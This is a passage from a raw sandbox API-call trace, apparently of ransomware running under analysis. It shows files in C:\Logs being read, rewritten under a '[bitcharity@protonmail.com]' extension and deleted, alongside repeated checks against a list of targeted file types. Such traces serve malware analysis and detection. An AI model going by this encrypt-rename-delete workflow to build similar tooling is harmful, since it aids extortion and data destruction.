dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0145.051] GetLastError () returned 0x0 [0145.051] ReadFile (in: hFile=0x10b4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0145.122] WriteFile (in: hFile=0x10c4, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0145.128] ReadFile (in: hFile=0x10b4, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.128] WriteFile (in: hFile=0x10c4, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x128, lpOverlapped=0x0) returned 1 [0145.128] SetEndOfFile (hFile=0x10c4) returned 1 [0145.128] CloseHandle (hObject=0x10c4) returned 1 [0145.130] SetFilePointerEx (in: hFile=0x10b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.130] SetEndOfFile (hFile=0x10b4) returned 1 [0145.132] CloseHandle (hObject=0x10b4) returned 1 [0145.133] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.133] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0145.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.151] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.151] lstrlenW (lpString=".doc") returned 4 [0145.151] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.151] lstrlenW (lpString=".docx") returned 5 [0145.151] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.151] lstrlenW (lpString=".pdf") returned 4 [0145.151] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.151] lstrlenW (lpString=".xls") returned 4 [0145.151] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.151] lstrlenW (lpString=".xlsx") returned 5 [0145.151] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.151] lstrlenW (lpString=".ppt") returned 4 [0145.152] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.152] lstrlenW (lpString=".zip") returned 4 [0145.152] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.152] lstrlenW (lpString=".rar") returned 4 [0145.152] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.152] lstrlenW (lpString=".bz2") returned 4 [0145.152] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.152] lstrlenW (lpString=".7z") returned 3 [0145.152] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.152] lstrlenW (lpString=".dbf") returned 4 [0145.152] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.152] lstrlenW (lpString=".1cd") returned 4 [0145.152] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.152] lstrlenW (lpString=".jpg") returned 4 [0145.152] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.153] lstrlenW (lpString=".doc") returned 4 [0145.153] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString=".docx") returned 5 [0145.153] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.153] lstrlenW (lpString=".pdf") returned 4 [0145.153] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString=".xls") returned 4 [0145.153] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString=".xlsx") returned 5 [0145.153] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.153] lstrlenW (lpString=".ppt") returned 4 [0145.153] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.153] lstrlenW (lpString=".zip") returned 4 [0145.153] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString=".rar") returned 4 [0145.153] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString=".bz2") returned 4 [0145.153] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString=".7z") returned 3 [0145.153] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.153] lstrlenW (lpString=".dbf") returned 4 [0145.153] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.153] lstrlenW (lpString=".1cd") returned 4 [0145.154] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0145.154] lstrlenW (lpString=".jpg") returned 4 [0145.154] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.154] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.154] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0145.154] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0145.155] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0145.155] CloseHandle (hObject=0x10a8) returned 1 [0145.155] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0145.155] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.158] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0145.158] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.158] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.158] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0145.158] GetLastError () returned 0x0 [0145.158] ReadFile (in: hFile=0x103c, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0145.216] WriteFile (in: hFile=0x10b8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0145.461] ReadFile (in: hFile=0x103c, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.461] WriteFile (in: hFile=0x10b8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x138, lpOverlapped=0x0) returned 1 [0145.461] SetEndOfFile (hFile=0x10b8) returned 1 [0145.461] CloseHandle (hObject=0x10b8) returned 1 [0145.464] SetFilePointerEx (in: hFile=0x103c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.464] SetEndOfFile (hFile=0x103c) returned 1 [0145.465] CloseHandle (hObject=0x103c) returned 1 [0145.466] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.466] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0145.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.466] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.466] lstrlenW (lpString=".doc") returned 4 [0145.466] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.466] lstrlenW (lpString=".docx") returned 5 [0145.466] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.466] lstrlenW (lpString=".pdf") returned 4 [0145.466] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString=".xls") returned 4 [0145.467] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString=".xlsx") returned 5 [0145.467] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.467] lstrlenW (lpString=".ppt") returned 4 [0145.467] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.467] lstrlenW (lpString=".zip") returned 4 [0145.467] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString=".rar") returned 4 [0145.467] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString=".bz2") returned 4 [0145.467] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString=".7z") returned 3 [0145.467] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.467] lstrlenW (lpString=".dbf") returned 4 [0145.467] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.467] lstrlenW (lpString=".1cd") returned 4 [0145.467] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.467] lstrlenW (lpString=".jpg") returned 4 [0145.467] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.467] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.467] lstrlenW (lpString=".doc") returned 4 [0145.467] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.467] lstrlenW (lpString=".docx") returned 5 [0145.468] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.468] lstrlenW (lpString=".pdf") returned 4 [0145.468] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.468] lstrlenW (lpString=".xls") returned 4 [0145.468] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.468] lstrlenW (lpString=".xlsx") returned 5 [0145.468] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.468] lstrlenW (lpString=".ppt") returned 4 [0145.468] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.468] lstrlenW (lpString=".zip") returned 4 [0145.468] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.468] lstrlenW (lpString=".rar") returned 4 [0145.468] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.468] lstrlenW (lpString=".bz2") returned 4 [0145.468] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.468] lstrlenW (lpString=".7z") returned 3 [0145.468] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.468] lstrlenW (lpString=".dbf") returned 4 [0145.468] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.468] lstrlenW (lpString=".1cd") returned 4 [0145.468] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.468] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0145.468] lstrlenW (lpString=".jpg") returned 4 [0145.468] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.469] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.469] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 55 [0145.469] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0145.639] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0145.639] CloseHandle (hObject=0x10b8) returned 1 [0145.639] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 0x20 [0145.639] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.639] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0145.639] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.639] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.639] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0145.640] GetLastError () returned 0x0 [0145.640] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0145.785] WriteFile (in: hFile=0x10d8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0145.786] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.787] WriteFile (in: hFile=0x10d8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x142, lpOverlapped=0x0) returned 1 [0145.787] SetEndOfFile (hFile=0x10d8) returned 1 [0145.787] CloseHandle (hObject=0x10d8) returned 1 [0145.789] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.789] SetEndOfFile (hFile=0x10b8) returned 1 [0145.790] CloseHandle (hObject=0x10b8) returned 1 [0145.790] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.790] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx")) returned 1 [0145.790] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.791] lstrlenW (lpString=".doc") returned 4 [0145.791] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString=".docx") returned 5 [0145.791] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.791] lstrlenW (lpString=".pdf") returned 4 [0145.791] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString=".xls") returned 4 [0145.791] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString=".xlsx") returned 5 [0145.791] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.791] lstrlenW (lpString=".ppt") returned 4 [0145.791] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.791] lstrlenW (lpString=".zip") returned 4 [0145.791] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString=".rar") returned 4 [0145.791] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString=".bz2") returned 4 [0145.791] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString=".7z") returned 3 [0145.791] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.791] lstrlenW (lpString=".dbf") returned 4 [0145.791] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.791] lstrlenW (lpString=".1cd") returned 4 [0145.791] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.791] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.791] lstrlenW (lpString=".jpg") returned 4 [0145.791] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.792] lstrlenW (lpString=".doc") returned 4 [0145.792] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString=".docx") returned 5 [0145.792] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0145.792] lstrlenW (lpString=".pdf") returned 4 [0145.792] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString=".xls") returned 4 [0145.792] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString=".xlsx") returned 5 [0145.792] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0145.792] lstrlenW (lpString=".ppt") returned 4 [0145.792] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.792] lstrlenW (lpString=".zip") returned 4 [0145.792] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString=".rar") returned 4 [0145.792] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString=".bz2") returned 4 [0145.792] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString=".7z") returned 3 [0145.792] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0145.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.792] lstrlenW (lpString=".dbf") returned 4 [0145.792] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.792] lstrlenW (lpString=".1cd") returned 4 [0145.792] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0145.792] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx") returned 63 [0145.792] lstrlenW (lpString=".jpg") returned 4 [0145.792] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0145.793] lstrcmpiW (lpString1=".evtx", lpString2=".com") returned 1 [0145.793] lstrlenW (lpString="Microsoft-Windows-AppxPackaging%4Operational.evtx") returned 49 [0145.793] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0145.793] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2b0ff14 | out: lpFileSize=0x2b0ff14*=69632) returned 1 [0145.793] CloseHandle (hObject=0x10b8) returned 1 [0145.793] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx")) returned 0x20 [0145.793] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.793] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0145.793] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.794] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.794] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d8 [0145.794] GetLastError () returned 0x0 [0145.794] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x11000, lpOverlapped=0x0) returned 1 [0145.933] WriteFile (in: hFile=0x10d8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x11010, lpOverlapped=0x0) returned 1 [0145.935] ReadFile (in: hFile=0x10b8, lpBuffer=0x36a8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b0fecc, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesRead=0x2b0fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.935] WriteFile (in: hFile=0x10d8, lpBuffer=0x36a8020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2b0fc94, lpOverlapped=0x0 | out: lpBuffer=0x36a8020*, lpNumberOfBytesWritten=0x2b0fc94*=0x136, lpOverlapped=0x0) returned 1 [0145.935] SetEndOfFile (hFile=0x10d8) returned 1 [0145.936] CloseHandle (hObject=0x10d8) returned 1 [0145.940] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b0fec0 | out: 